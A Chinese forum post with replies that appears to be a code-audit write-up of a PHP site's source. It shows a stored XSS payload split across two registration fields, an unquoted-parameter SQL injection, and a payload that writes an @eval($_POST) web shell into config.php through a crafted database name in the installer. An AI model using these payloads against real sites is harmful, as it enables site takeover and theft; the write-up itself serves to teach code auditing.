[【通过】] 一次代码审计

[复制链接]
y十四 发表于 2017-10-9 22:08:54 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 15

前言:
  朋友给了一套源码(某下蛋网)。
0x1(分析目标):
  ·先看看源码的结构:
W@PUEZHO8LJGCQAK1369Y~D.png
界面与功能写在一块,没使用框架
0x2(挖掘漏洞):
   漏洞1:
agent/reg.php存在储存型Xss漏洞:
页面如下图:
52F$]TPCN4B1~{BU5L8Z1.png
8F0)KUXW8W84A]I94UA`AZ0.png

  
Reg.php代码如下:
注册时User与Pass经过一个过滤(防止Sql注入,函数是用的discuz的防注入函数)
功能大概与gpc一样过滤,防止了Sql注入,但是没有判断账号密码最大长度
且没使用htmlspecialchars函数来过滤提交的字符串
那么如此Payload构造为hallo<script>alert(“hi,bob”)</script>
注册成功之后,打开后台admin/dllist.php 查看代理页面:
   `QR}0EMIB`$]O1$DMUV5.png
发现并没有弹框,分析后,发现原因:
   hallo<script>alert(“hi,bob”)</   Payload到这里就结束了,然后追踪到数据库查看:
   E15T~T_XW1589%OPCGL46(H.png
原来是数据库对此字段varchar限制了长度,但是没关系,毕竟还有一个dl_pwd是同样没做Xss防护的:
  那么经过研究后Payload如下:
   User=h<script>alert(1)<!—
  Pass=--></script>
   这样就OK了。
User的<!--注释掉后面的</td><td>
然后Pass -->收回来再闭合</script>标签 即可绕过长度限制。
测试一下:
`NTZ{E_GALO52G_F1T[{V[X.png
OK,成功弹框
0x2.1(Sql注入):
   这套源码几乎全部使用addslashes函数进行过滤,并且不存在宽字符注入.
     但是wz.php这个文件是一个文章页,具体的来看一下代码:
       )0CW(3UUXEOT3JKW0K400$P.png
  这个地方$_GET[‘ID’]被addslashes过滤,但是Sql语句的变量$id没单引包裹,所以造成注入:
    H0LD65L(1[LOVMI(U9TA9$W.png
0x3:
   后来看install安装目录,同样是发现点问题:
看这个地方:install/index.php?do=2     //安装第二步
   21YIS[5ET(N@E6%5}BDM]1J.png
这儿要求填写配置文件,然后保存到config.php文件里.
看看install/index.php代码:
V3WHQ}QC7N2E~CEM0W6QTIS.png
关键的地方就在这儿,先判断你是否都填写了.
然后如果 你填写的 数据库账号,密码确保连接成功才写入到config.php文件
   
必须得连接数据库成功才可以写入,那么如何才可以既连接数据库成功且又能成功攻击
然后打开Config.php 研究一下文件结构:
    IYU{[MFUO{J1J58[OWR5$A7.png

我的解决方案如下:
    Mysql数据库名并没有限制字符…… 且数据库名最长可达64位
    并且上面的配置文件 dbname 正好做数组最后一个val。
  
  那么构造的payload如下:
    数据库地址:127.0.0.1
    数据库端口:3306
    数据库账号:root
数据库密码:root
数据库名:km');@eval($_POST['A']);?> /*
然后本地新建一个数据库名就叫做:km');@eval($_POST['A']);?> /*
即可绕过连接数据库验证,并成功吧一句话写入config.php文件中
数据库截图: TR]A$SC953$$Z[4LOGD]]WV.png
提交一下:
}@NM3E53T0PDZ`0NB]$V(}9.png
保存成功,查看一下config.php文件:
4_B92BIT3}N)[9J%]WSH0@H.png
一句话连接地址:127.0.0.1/km/config.php  密码A
连接成功:
   %R_JU23G`NF2XG4[Q@7(RS3.png

0x4(总结):
     有些看起来可信的东西,其实不一定

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

enjoy789 发表于 2017-10-11 10:15:08 | 显示全部楼层

正式成员|主题 |帖子 |积分 7

nice 最后一个经典。。。
antcity 发表于 2017-10-12 14:17:26 | 显示全部楼层

正式成员|主题 |帖子 |积分 203

对于一个不会代码审计的我来说 居然看懂了..get!!
unitial 发表于 2017-10-16 18:13:24 | 显示全部楼层

正式成员|主题 |帖子 |积分 22

可以
实习大灰狼 发表于 2017-10-23 16:12:22 | 显示全部楼层

正式成员|主题 |帖子 |积分 152

数据库名 真的狗
快速回复 返回顶部 返回列表